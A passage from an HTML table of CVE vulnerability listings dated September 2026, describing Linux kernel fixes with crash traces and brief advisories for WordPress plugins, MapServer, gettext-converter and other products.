&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93182&quot; target=&quot;_blank&quot;&gt;CVE-2026-93182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/lima: call drm_mm_init() with a valid allocation range lima_vm_create() is currently run before va_start and va_end are set up, meaning they are both 0. lima_vm_create() runs drm_mm_init() with them as arguments for the allocator, and if DRM_DEBUG_MM is enabled the DRM_MM_BUG_ON check in drm_mm_init then fires, as seen here on exynos4412-odroid-u2: [ 1.736297] ------------[ cut here ]------------ [ 1.740370] kernel BUG at drivers/gpu/drm/drm_mm.c:931! [ 1.745574] Internal error: Oops - BUG: 0 [#1] SMP ARM [ 1.750697] Modules linked in: [ 1.753734] CPU: 0 UID: 0 PID: 41 Comm: kworker/u16:1 Not tainted 7.0.10-postmarketos-exynos4 #11 PREEMPT [ 1.763372] Hardware name: Samsung Exynos (Flattened Device Tree) [ 1.769446] Workqueue: events_unbound deferred_probe_work_func [ 1.775261] PC is at drm_mm_init+0x9c/0xa4 [ 1.779339] LR is at lima_vm_create+0x144/0x17c [ ... ] Fix the issue by moving the lima_vm_create() call after va_start and va_end are set up.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93183&quot; target=&quot;_blank&quot;&gt;CVE-2026-93183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: fsl_audmix: rework runtime PM handling in probe After pm_runtime_enable() the AUDMIX block is powered off and stays suspended until the first runtime resume. Register writes issued between probe() and the first resume (e.g. from DAPM or ALSA control paths) target unpowered hardware and cause a system hang. Fix this by calling pm_runtime_resume_and_get() immediately after pm_runtime_enable() to power the hardware up and enable its clocks. Release the reference afterwards with pm_runtime_put() to allow the runtime PM framework to suspend the device and switch the regmap to cache-only mode when idle. When CONFIG_PM is disabled or runtime PM is not enabled, pm_runtime_* calls are stubs that do not power up the hardware. Handle this case explicitly by calling fsl_audmix_runtime_resume() directly so the hardware is always initialised and its clocks are enabled, ensuring register accesses succeed regardless of PM configuration.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93184&quot; target=&quot;_blank&quot;&gt;CVE-2026-93184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: rt700-sdw: always drain jack work on remove rt700_sdw_remove() drains jack_detect_work and jack_btn_check_work only when rt700-&amp;gt;hw_init is true. That state bit is cleared by rt700_update_status() when the SoundWire slave becomes UNATTACHED, but a jack work item can already have been queued by rt700_interrupt_callback() or rt700_jack_init() while the device was initialized. Do not use hw_init as the remove-time guard for draining these work objects. The delayed works are initialized during rt700_init(), so remove can cancel them unconditionally and pair the object lifetime with the codec-private data lifetime instead of a mutable hardware state bit. This issue was found by our static analysis tool and then confirmed by manual review of the SoundWire status, interrupt and remove paths. The remove path should drain work based on whether the work object exists, not on a runtime hardware state bit that can change after the work was queued. A QEMU PoC queued jack_detect_work, simulated SDW_SLAVE_UNATTACHED, and then entered remove. DEBUG_OBJECTS reported an active timer/work object associated with the rt700 jack work path after remove skipped the cancel. This is sent as an RFC because the practical trigger depends on SoundWire core remove ordering after an UNATTACHED status update. If remove cannot run after hw_init has been cleared while jack work is still pending, this is a defensive lifecycle cleanup rather than a reachable race on current systems.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93185&quot; target=&quot;_blank&quot;&gt;CVE-2026-93185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/mbox: Clamp mailbox output allocation to the payload size CXL_MEM_SEND_COMMAND bounds the user&#039;s in.size to the mailbox payload size but leaves out.size unbounded, then cxl_mbox_cmd_ctor() calls kvzalloc(out.size). A large out.size drives a huge allocation, above INT_MAX it WARNs and taints, and with panic_on_warn=1 it panics. The transport __cxl_pci_mbox_send_cmd() already clamps the response copy to min(out.size, payload_size, device len), so the output buffer is never written beyond payload_size. Clamp the allocation to payload_size too, matching the RAW path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93186&quot; target=&quot;_blank&quot;&gt;CVE-2026-93186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: ipc4-topology: Return error for invalid number of formats When the number of input or output formats is zero, sof_ipc4_widget_setup_comp_src() and sof_ipc4_widget_setup_comp_asrc() print an error and jump to the cleanup label. At that point &#039;ret&#039; is still 0, because the earlier sof_ipc4_get_audio_fmt() call succeeded, so the function returns success and the caller never finds out that the widget setup actually failed. Set ret to -EINVAL before the goto so the error gets reported.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93187&quot; target=&quot;_blank&quot;&gt;CVE-2026-93187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: roccat: bound device-supplied profile index kone_keep_values_up_to_date() and kone_profile_activated() use an 8-bit, device-supplied profile value as an index into the 5-element kone-&amp;gt;profiles[] array without a range check. A malicious USB device claiming the Roccat Kone id can send a switch-profile event (or a startup_profile read at probe) with an out-of-range value and make the driver read out of bounds; the result is exposed via the actual_dpi sysfs attribute. Reject out-of-range indices in both paths. This was found with static analysis and confirmed with the KUnit test added in the following patch (KASAN: slab-out-of-bounds).&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93188&quot; target=&quot;_blank&quot;&gt;CVE-2026-93188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smack: fix incorrect task context in smack_msg_queue_msgrcv The smack_msg_queue_msgrcv() function incorrectly checks the permissions of the &#039;current&#039; task instead of the &#039;target&#039; task. In the msgsnd() syscall path, if a receiver is already waiting, the pipelined_send() optimization is used to push the message directly to the receiver task: ipc/msg.c`pipelined_send(): ` smp_store_release(&amp;amp;msr-&amp;gt;r_msg, msg) In this case, the &#039;sender&#039; (current) task performs the check on behalf of the &#039;receiver&#039; task (msr-&amp;gt;r_tsk, passed as the &#039;target&#039; parameter): ipc/msg.c`pipelined_send(): ` security_msg_queue_msgrcv(,, target := msr-&amp;gt;r_tsk,,) However, smack_msg_queue_msgrcv() ignores the &#039;target&#039; and checks &#039;current&#039;: smack_msg_queue_msgrcv(¦) ` smk_curacc_msq(isp, MAY_READWRITE); // current task &#039;current&#039; MAY satisfy smack_msg_queue_msgrcv r/w requirement, but &#039;target&#039; (the receiver task) might NOT; as a result, an unauthorized receiver gets the message, violating MAC policy. Test: 1) create a sysv message queue with label &quot;foo&quot; 2) echo &quot;bar foo r&quot; &amp;gt;/smack/load2 3) msgrcv(,,,0,MSG_NOERROR) in &quot;bar&quot;-labeled task. The task is waiting for the messages ... 4) msgsnd() from a &quot;foo&quot;-labeled task: &quot;bar&quot;-labeled task gets the message. This patch fixes the issue by checking permission on the &#039;target&#039; task instead of &#039;current&#039;. (2008-02-04, Casey Schaufler)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93191&quot; target=&quot;_blank&quot;&gt;CVE-2026-93191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/rockchip: analogix_dp: Fix OF node reference leak via auto cleanup Sashiko reported a reference leak in rockchip_dp_drm_encoder_enable(), the of_get_child_by_name() function does not call of_node_put() in a symmetrical way [1]. Fix the device node reference leak by using __free(device_node) to automatically manage of_node_put() for all device nodes.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93193&quot; target=&quot;_blank&quot;&gt;CVE-2026-93193&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/rockchip: dw_dp: Release core resources Core resources such as the DisplayPort AUX channel get initialized and registered during dw_dp_bind(), but are never unregistered, which may lead to memory leaks and/or use-after-free: [ 224.661371] BUG: KASAN: slab-use-after-free in device_is_dependent+0xe0/0x2b0 [ 224.662015] Read of size 8 at addr ffff00011aee8550 by task modprobe/658 [ 224.662612] [ 224.662752] CPU: 7 UID: 0 PID: 658 Comm: modprobe Not tainted 7.0.0-rc2-next-20260305 #14 PREEMPT [ 224.662759] Hardware name: Radxa ROCK 5B (DT) [ 224.662762] Call trace: [ 224.662764] show_stack+0x20/0x38 (C) [ 224.662772] dump_stack_lvl+0x6c/0x98 [ 224.662777] print_report+0x160/0x4b8 [ 224.662783] kasan_report+0xb4/0xe0 [ 224.662790] __asan_report_load8_noabort+0x20/0x30 [ 224.662796] device_is_dependent+0xe0/0x2b0 [ 224.662802] device_is_dependent+0x108/0x2b0 [ 224.662808] device_link_add+0x1f8/0x10b0 [ 224.662813] devm_of_phy_get_by_index+0x120/0x200 [ 224.662819] dw_dp_bind+0x34c/0xb10 [dw_dp] [ 224.662830] dw_dp_rockchip_bind+0x194/0x250 [rockchipdrm] [ 224.662864] component_bind_all+0x3a8/0x720 [ 224.662869] rockchip_drm_bind+0x120/0x390 [rockchipdrm] [ 224.662899] try_to_bring_up_aggregate_device+0x76c/0x838 [ 224.662904] component_master_add_with_match+0x1f4/0x230 [ 224.662909] rockchip_drm_platform_probe+0x420/0x538 [rockchipdrm] [ 224.662939] platform_probe+0xe8/0x168 [ 224.662945] really_probe+0x340/0x828 [ 224.662950] __driver_probe_device+0x2e0/0x350 [ 224.662954] driver_probe_device+0x80/0x140 [ 224.662959] __driver_attach+0x398/0x460 [ 224.662964] bus_for_each_dev+0xe0/0x198 [ 224.662968] driver_attach+0x50/0x68 [ 224.662972] bus_add_driver+0x2a0/0x4c0 [ 224.662977] driver_register+0x294/0x360 [ 224.662982] __platform_driver_register+0x7c/0x98 [ 224.662987] rockchip_drm_init+0xc4/0xff8 [rockchipdrm] Since a previous commit exported dw_dp_unbind() function in DW DP core library to take care of the necessary cleanup, use this in the component&#039;s unbind() callback, as well as in its bind() error path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93194&quot; target=&quot;_blank&quot;&gt;CVE-2026-93194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/bridge: synopsys: dw-dp: Support unregistering the AUX channel The DisplayPort AUX channel gets initialized and registered during dw_dp_bind(), but it is never unregistered, which may lead to resource leaks and/or use-after-free. Add the missing dw_dp_unbind() function to allow the users of the library to handle the required cleanup, i.e. unregister the AUX adapter.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93195&quot; target=&quot;_blank&quot;&gt;CVE-2026-93195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: memcg: move LRU size accounting on reparenting instead of copying it When a memory cgroup is offlined its LRU folios are reparented to the parent. lruvec_reparent_lru() splices the child&#039;s lists into the parent&#039;s and credits the parent with the child&#039;s per-zone lru_zone_size[], but never clears the child&#039;s copy, so the size is copied rather than moved. lru_gen_reparent_memcg() does the same for MGLRU. The parent is left correct, credited with exactly the folios it took over. The stale value sits on the child and nothing will correct it: folio-&amp;gt;memcg_data now resolves to the parent, so every later update_lru_size() for those folios goes there. Dying cgroups are not freed immediately and mem_cgroup_iter() still walks them, so shrink_lruvec() keeps being called on them. get_scan_count() reads the phantom counter through lruvec_lru_size() and the scan loop then grinds through nr[] in SWAP_CLUSTER_MAX steps against an empty list, for as long as the dead cgroup lives. Under MGLRU the MGLRU scanner runs instead, but count_shadow_nodes() sums all of NR_LRU_LISTS through lruvec_lru_size() and over-budgets the shadow node limit just the same. On one 251 GiB host a sweep of every mz-&amp;gt;lru_zone_size[] found 380 counters describing folios on no list at all: 124777314 pages, 476 GiB, 1.89x the machine&#039;s RAM, across 57 cgroups. All were on memcgs with CSS_DYING set and CSS_ONLINE clear, and parent/child pairs reported byte-identical sizes. LRU_UNEVICTABLE needs its size moved too. Its list is deliberately not spliced because lruvec_init() poisons the head - the unevictable LRU is imaginary and folios are never threaded on it - but the size is kept by lruvec_add_folio()/lruvec_del_folio() and those folios account to the parent from here on. This depends on commit bf4ade7dbd76 (&quot;memcg: keep folio&#039;s objcg same as its node&quot;) and must not be backported ahead of it. Without that invariant a folio&#039;s objcg can belong to another node, so a folio already spliced onto the parent&#039;s list can still resolve to the child&#039;s lruvec until the objcg&#039;s node is reparented in a later iteration of memcg_reparent_objcgs(); clearing the child&#039;s counter early then lets lruvec_del_folio() underflow it and trip the WARN_ONCE()/VM_BUG_ON() in mem_cgroup_update_lru_size().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93197&quot; target=&quot;_blank&quot;&gt;CVE-2026-93197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate the persisted dirty_tail chain at load The writeback worker follows the persisted dirty_tail chain, which is decoded from the cache device independently of the key_tail chain that cache_replay() walks and bounds. A crafted image, whose on-media fields are authenticated only by a crc32c with a fixed seed, can aim dirty_tail at a chain of last ksets that never terminates, so cache_writeback_fn() re-arms itself with no delay forever. Walk the dirty_tail chain once at load with the same hop cap cache_replay() uses and fail the table load with -EIO if it does not reach an end within n_segs hops.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93198&quot; target=&quot;_blank&quot;&gt;CVE-2026-93198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: Do not treat master device as a duplicate target i3c_master_search_i3c_dev_duplicate() searches the bus for another I3C device with the same PID as the reference device. The search can match master-&amp;gt;this, causing the controller itself to be returned as a duplicate. Since the controller is not a target device, it cannot be a duplicate of one. Exclude master-&amp;gt;this from matching so that the function only returns real duplicate target devices.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93199&quot; target=&quot;_blank&quot;&gt;CVE-2026-93199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix use-after-free of master-&amp;gt;this sysfs attribute callbacks for the master controller device dereference master-&amp;gt;this. However, master-&amp;gt;this is freed in i3c_master_detach_free_devs() before the master device itself is released. As a result, sysfs accesses can dereference a freed master-&amp;gt;this pointer, leading to a use-after-free. Keep master-&amp;gt;this alive until i3c_masterdev_release(), which is called after the master device and its sysfs state are being torn down. Do not free master-&amp;gt;this as part of the normal device detach path. On the error path in i3c_master_set_info(), reset master-&amp;gt;this and bus.cur_master to NULL before freeing the allocated device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93200&quot; target=&quot;_blank&quot;&gt;CVE-2026-93200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix recursive locking during device registration i3c_master_register_new_i3c_devs() registers newly discovered devices while holding i3c_bus_normaluse_lock(), a down_read(). device_register() can immediately probe the device, and probe callbacks typically invoke I3C helpers that take i3c_bus_normaluse_lock() again, leading to a recursive acquisition of the same rwsem. rwsems do not support recursive read locking and can deadlock when a writer is waiting. See the &quot;Recursive read locks&quot; section of Documentation/locking/lockdep-design.rst. For example, with Intel LPSS I3C, LOCKDEP generates a WARNING like: # echo intel-lpss-i3c.0 &amp;gt; /sys/bus/platform/drivers/mipi-i3c-hci/unbind # echo intel-lpss-i3c.0 &amp;gt; /sys/bus/platform/drivers/mipi-i3c-hci/bind WARNING: possible recursive locking detected kworker/5:1/94 is trying to acquire lock: ffff88811c810d78 (&amp;amp;i3cbus-&amp;gt;lock){++++}-{4:4}, at: i3c_device_match_id+0x45/0x370 but task is already holding lock: ffff88811c810d78 (&amp;amp;i3cbus-&amp;gt;lock){++++}-{4:4}, at: i3c_master_reg_work_fn+0x21/0x5f0 Fix this by separating device creation from device registration. Populate desc-&amp;gt;dev under the maintenance lock, collect the devices that still need registration into a local list, then release the lock before calling device_register(). Finally retake the lock and clean up any devices that failed to register. Use the maintenance lock rather than the normal-use lock while adding device objects. A write-side maintenance lock prevents readers from observing a partially initialized desc-&amp;gt;dev during initial device population, or desc-&amp;gt;dev disappearing if registration fails. The local list requires a list node, so add a list node member to struct i3c_device.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93202&quot; target=&quot;_blank&quot;&gt;CVE-2026-93202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: batman-adv: dat: atomically update mac addresses When a MAC address is updated in batadv_dat_entry_add(), it is done using a simple copy function. A parallel reader might only see parts of this update. In worst case, the reader is transporting the half updated MAC address over the network or is creating an ARP response using it - poisoning the ARP cache. atomic64_t can be used to store the 48 bit of a mac address. A reader will then either see the old mac address or the new one - never a mixture of both.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93204&quot; target=&quot;_blank&quot;&gt;CVE-2026-93204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LITE-ON Technology Corporation--FF-RFI079I4&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in FF-RFI079I4 and FF-RFI078I4. A user who can log in to the product&#039;s M-Plane (NETCONF) may execute arbitrary OS commands.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77853&quot; target=&quot;_blank&quot;&gt;CVE-2026-77853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LITE-ON Technology Corporation--FF-RFI079I4&lt;/td&gt;
&lt;td&gt;Hidden functionality issue exists in FF-RFI079I4 and FF-RFI078I4, which may allow a user who can log in via SSH and access the enable mode on the product to execute arbitrary OS commands.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80217&quot; target=&quot;_blank&quot;&gt;CVE-2026-80217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;locize--gettext-converter&lt;/td&gt;
&lt;td&gt;gettext-converter provides gettext resource conversion utilities for JavaScript. Prior to 1.3.3, js2i18next() in lib/js2i18next.js splits nested translation keys using options.keyseparator, whose default value consists of two number signs, and uses each segment as a dynamic object key without rejecting __proto__, constructor, or prototype. When an application converts untrusted PO or i18next translation data, a __proto__ segment resolves Object.prototype as the nested write target and Object.assign writes attacker-controlled translated properties onto the process-wide prototype. The resulting prototype pollution can cause denial of service and may enable application-dependent follow-on attacks. This issue is fixed in version 1.3.3.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55451&quot; target=&quot;_blank&quot;&gt;CVE-2026-55451&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Login with QR--Login with QR&lt;/td&gt;
&lt;td&gt;The Login with QR WordPress plugin through 1.0.0 does not verify that the code used to log a user in is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86710&quot; target=&quot;_blank&quot;&gt;CVE-2026-86710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Logitech--Logi Options+&lt;/td&gt;
&lt;td&gt;A local privilege escalation vulnerability in the Logitech Logi Options+ updater service on Windows allows a low-privileged local user to execute arbitrary code as SYSTEM.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12518&quot; target=&quot;_blank&quot;&gt;CVE-2026-12518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mailchimp for WooCommerce--Mailchimp for WooCommerce&lt;/td&gt;
&lt;td&gt;The Mailchimp for WooCommerce WordPress plugin before 6.1.1 does not verify that the requesting user holds the required capability in the permission callback for several of its REST API routes, allowing unauthenticated users to reach administrator-oriented endpoints and trigger a persistent state change.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92435&quot; target=&quot;_blank&quot;&gt;CVE-2026-92435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MailData Email Archiving System--MailData Email Archiving System v4.2&lt;/td&gt;
&lt;td&gt;In MailData Email Archiving System v4.2 and earlier, a SQL injection vulnerability exists.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-55787&quot; target=&quot;_blank&quot;&gt;CVE-2025-55787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MapServer--MapServer&lt;/td&gt;
&lt;td&gt;MapServer is a system for developing web-based GIS applications. From 6.0 until 8.6.4, MapServer&#039;s OpenLayers HTML output for SERVICE=WMS&amp;amp;REQUEST=GetMap&amp;amp;FORMAT=application/openlayers reflects an attacker-controlled X-Forwarded-Host value received as HTTP_X_FORWARDED_HOST through msBuildOnlineResource(), processLine(), and the [mapserv_onlineresource] substitution in src/maputil.c and src/maptemplate.c without escaping it for a single-quoted JavaScript string. When the deployment trusts the forwarded header and does not configure a fixed ows_onlineresource or MS_ONLINERESOURCE value, embedded single quotes can escape the generated URL string. An unauthenticated attacker can craft a URL that executes arbitrary JavaScript in the MapServer site origin when opened by a victim, enabling access to sessions or tokens, same-origin data and requests, and actions as the victim. This issue is fixed in version 8.6.4.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54355&quot; target=&quot;_blank&quot;&gt;CVE-2026-54355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MarcosCamara01--Ecommerce Template&lt;/td&gt;
&lt;td&gt;Missing Authentication for Critical Function (CWE-306) in the checkout session lookup handler (src/app/api/stripe/checkout_sessions/route.ts), exposed at GET /api/stripe/checkout_sessions, in MarcosCamara01 Ecommerce Template before commit 91e273c allows a remote, unauthenticated attacker holding a valid Stripe Checkout Session id (cs_...) to retrieve the full session object, including the buyer&#039;s name, email, phone, billing address, amount paid and internal userId, because the GET handler calls stripe.checkout.sessions.retrieve() and returns the result without checking for an authenticated session or session ownership. Sibling endpoints such as POST /api/stripe/payment already enforced authentication via auth.api.getSession(); this endpoint had no access control whatsoever. The session_id is exposed in the buyer&#039;s own browser URL after payment (success_url = /result?session_id={CHECKOUT_SESSION_ID}), so it leaks through Referer headers, analytics tools, server access logs and shared-machine browser history, resulting in disclosure of the buyer&#039;s personal data to an unauthenticated actor.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90896&quot; target=&quot;_blank&quot;&gt;CVE-2026-90896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Master Addons for Elemento--Master Addons for Elementor&lt;/td&gt;
&lt;td&gt;The Master Addons for Elementor WordPress plugin before 3.1.9 does not perform an authorization check on the AJAX action that deactivates its Popup Builder popups, relying only on a nonce that is publicly output to every visitor, allowing unauthenticated attackers to permanently disable any popup on the site.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91015&quot; target=&quot;_blank&quot;&gt;CVE-2026-91015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Master Blocks--Master Blocks&lt;/td&gt;
&lt;td&gt;The Master Blocks WordPress plugin before 1.5.0 does not have authorisation on one of its REST routes, allowing unauthenticated users to update its settings, including a value that is output unescaped in the admin area, leading to Stored XSS that executes in the session of any administrator visiting a wp-admin page.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
